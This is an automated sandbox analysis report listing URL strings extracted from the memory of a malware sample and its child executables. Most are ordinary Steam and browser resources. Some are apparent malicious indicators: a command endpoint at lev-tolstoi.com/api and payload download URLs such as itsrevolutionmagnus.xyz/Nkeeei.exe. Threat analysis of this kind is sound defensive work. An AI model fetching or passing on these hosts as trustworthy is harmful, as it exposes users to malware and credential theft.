Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/main.js?v=_92TWn81
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/applications/community/manifest.js?v=FRRi
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/global.js?v=jWc2JLWHx5Kn&l=english&am
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=gQHVlrK4-jX-&l
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalContent.js?v=uqf5ttWTRe7l&l=engl
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/modalv2.js?v=zBXEuexVQ0FZ&l=english&a
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/profile.js?v=GeQ6v03mWpAc&l=english&a
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/promo/stickers.js?v=CcLRHsa04otQ&l=en
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/prototype-1.7.js?v=npJElBnrEO6W&l=eng
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/reportedcontent.js?v=-lZqrarogJr8&l=e
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=pbdAKOcDIgbC
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/javascript/webui/clientcom.js?v=oOCAGrkRfpQ6&l=e
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/buttons.css?v=qhQgyjWi6LgJ&l=english&
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/motiva_sans.css?v=-yZgCk0Nu7kH&l=engl
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_global.css?v=wuA4X_n5-mo0&l=en
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/css/shared_responsive.css?v=JL1e4uQSrVGe&
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/header/logo_steam.svg?t=962016
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_logo.png
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/auth_refresh.js?v=w6QbwI-5-j2S&amp
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_global.js?v=Gr6TbGRvDtNE&am
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=tvQ
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/shared/javascript/tooltip.js?v=QYkT4eS5mbTN&l=en
Source: T4qO1i2Jav.exe, 00000000.00000003.1868013441.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: T4qO1i2Jav.exe, 00000000.00000003.1815823994.0000000003B49000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815689007.0000000003B4B000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815756384.0000000003B49000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000003.2407888795.0000000000DFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000024.00000002.2422063884.0000000000DC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/5
Source: Q13Hi3dPshjDHTjm.exe, 0000000A.00000002.2255404371.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/Ly
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000002.2148894841.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/N
Source: 89TY9V9WIQJRU6EB7DK4LP.exe, 00000006.00000003.2124556979.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://gamertool.eu/fyCertificateChainPolicy
Source: hYDFhjqVouJ7cB7Z.exe.5.dr	String found in binary or memory: https://gcc.gnu.org/bugs/):
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://help.steampowered.com/en/
Source: T4qO1i2Jav.exe, 00000000.00000003.1868013441.0000000003B01000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: T4qO1i2Jav.exe, 00000000.00000003.2083825827.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084009300.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058881726.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2086102232.00000000009EB000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058980451.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, hYDFhjqVouJ7cB7Z.exe, 00000007.00000002.3006540341.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://itsrevolutionmagnus.xyz/
Source: T4qO1i2Jav.exe, 00000000.00000003.2083825827.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084009300.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2086102232.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://itsrevolutionmagnus.xyz/0%-
Source: hYDFhjqVouJ7cB7Z.exe, 00000007.00000002.3006540341.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://itsrevolutionmagnus.xyz/Nkeeei.exe
Source: T4qO1i2Jav.exe, 00000000.00000002.2085901381.0000000000992000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084081640.0000000000991000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://itsrevolutionmagnus.xyz/Nkeeei.exeF
Source: hYDFhjqVouJ7cB7Z.exe, 00000007.00000002.3006540341.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://itsrevolutionmagnus.xyz/Nkeeei.exeh
Source: T4qO1i2Jav.exe, 00000000.00000002.2085608290.000000000095D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://itsrevolutionmagnus.xyz/Nkeeei.exen
Source: hYDFhjqVouJ7cB7Z.exe, 00000007.00000002.3006540341.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://itsrevolutionmagnus.xyz/Nkeeei.exeo
Source: hYDFhjqVouJ7cB7Z.exe, 00000007.00000002.3006540341.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://itsrevolutionmagnus.xyz/Nkeeei.exez
Source: T4qO1i2Jav.exe, 00000000.00000003.2058964007.00000000009D5000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084081640.0000000000991000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://itsrevolutionmagnus.xyz/Shnnfd.exe
Source: T4qO1i2Jav.exe, 00000000.00000002.2085901381.0000000000992000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084081640.0000000000991000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://itsrevolutionmagnus.xyz/Shnnfd.exee
Source: hYDFhjqVouJ7cB7Z.exe, 00000007.00000002.3006540341.000000000132E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://itsrevolutionmagnus.xyz/d
Source: T4qO1i2Jav.exe, 00000000.00000003.1792859542.0000000000986000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/
Source: T4qO1i2Jav.exe, 00000000.00000003.1792859542.0000000000986000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/3
Source: T4qO1i2Jav.exe, 00000000.00000003.2058881726.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/F9
Source: T4qO1i2Jav.exe, 00000000.00000003.1815480131.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1815430485.00000000009D6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/WW
Source: T4qO1i2Jav.exe, 00000000.00000003.1978951309.00000000009E5000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058881726.00000000009DD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/_95
Source: T4qO1i2Jav.exe, 00000000.00000003.1900708878.00000000009F0000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058755769.0000000003B0E000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2097904446.0000000003B1A000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083825827.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2086122592.00000000009F1000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1891370532.0000000003B1A000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083688476.0000000003B0E000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058998359.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1932172600.00000000009F1000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1933226541.0000000003B13000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1946306805.0000000003B13000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084009300.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058881726.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1900549907.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1946533444.00000000009F1000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792859542.0000000000986000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058980451.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1900590719.00000000009EF000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083887831.0000000003B13000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084026449.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058900167.0000000003B13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api
Source: T4qO1i2Jav.exe, 00000000.00000003.2058755769.0000000003B0E000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2097904446.0000000003B1A000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083688476.0000000003B0E000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083887831.0000000003B13000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058900167.0000000003B13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api(
Source: T4qO1i2Jav.exe, 00000000.00000003.2058755769.0000000003B0E000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2097904446.0000000003B1A000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083688476.0000000003B0E000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1933226541.0000000003B13000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1946306805.0000000003B13000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083887831.0000000003B13000.00000004.00000800.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058900167.0000000003B13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/api0
Source: T4qO1i2Jav.exe, 00000000.00000003.1900708878.00000000009F0000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2083825827.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000002.2086122592.00000000009F1000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058998359.00000000009EE000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1932172600.00000000009F1000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084009300.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058881726.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1900549907.00000000009E3000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1946533444.00000000009F1000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2058980451.00000000009E8000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1900590719.00000000009EF000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.2084026449.00000000009EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apider
Source: T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000972000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/apiro
Source: T4qO1i2Jav.exe, 00000000.00000003.1792859542.0000000000986000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lev-tolstoi.com/pi
Source: {856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat.37.dr	String found in binary or memory: https://login.microsoftonline.com/common/oauth2/authorize?client_id=9ea1ad79-fdb6-4f9a-8bc3-2b70f96e
Source: {856608C8-C458-11EF-8C2C-ECF4BBEA1588}.dat.37.dr	String found in binary or memory: https://login.microsoftonline.com/error?code=50058
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.steampowered.com/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://lv.queniujq.cn
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://medal.tv
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://player.vimeo.com
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://recaptcha.net/recaptcha/;
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://s.ytimg.com;
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://sketchfab.com
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steam.tv/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast-test.akamaized.net
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcast.akamaized.net
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000985000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steambroadcastchat.akamaized.net
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771392328.000000000095F000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.000000000095F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/(0e
Source: T4qO1i2Jav.exe, 00000000.00000003.1771328797.0000000000992000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/5
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/?subsection=broadcasts
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/discussions/
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009C7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771392328.0000000000981000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1792887999.0000000000981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org
Source: T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/login/home/?goto=profiles%2F76561199724331900
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/market/
Source: T4qO1i2Jav.exe, 00000000.00000003.1792826964.00000000009D7000.00000004.00000020.00020000.00000000.sdmp, T4qO1i2Jav.exe, 00000000.00000003.1771294431.00000000009CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://steamcommunity.com/my/wishlist/
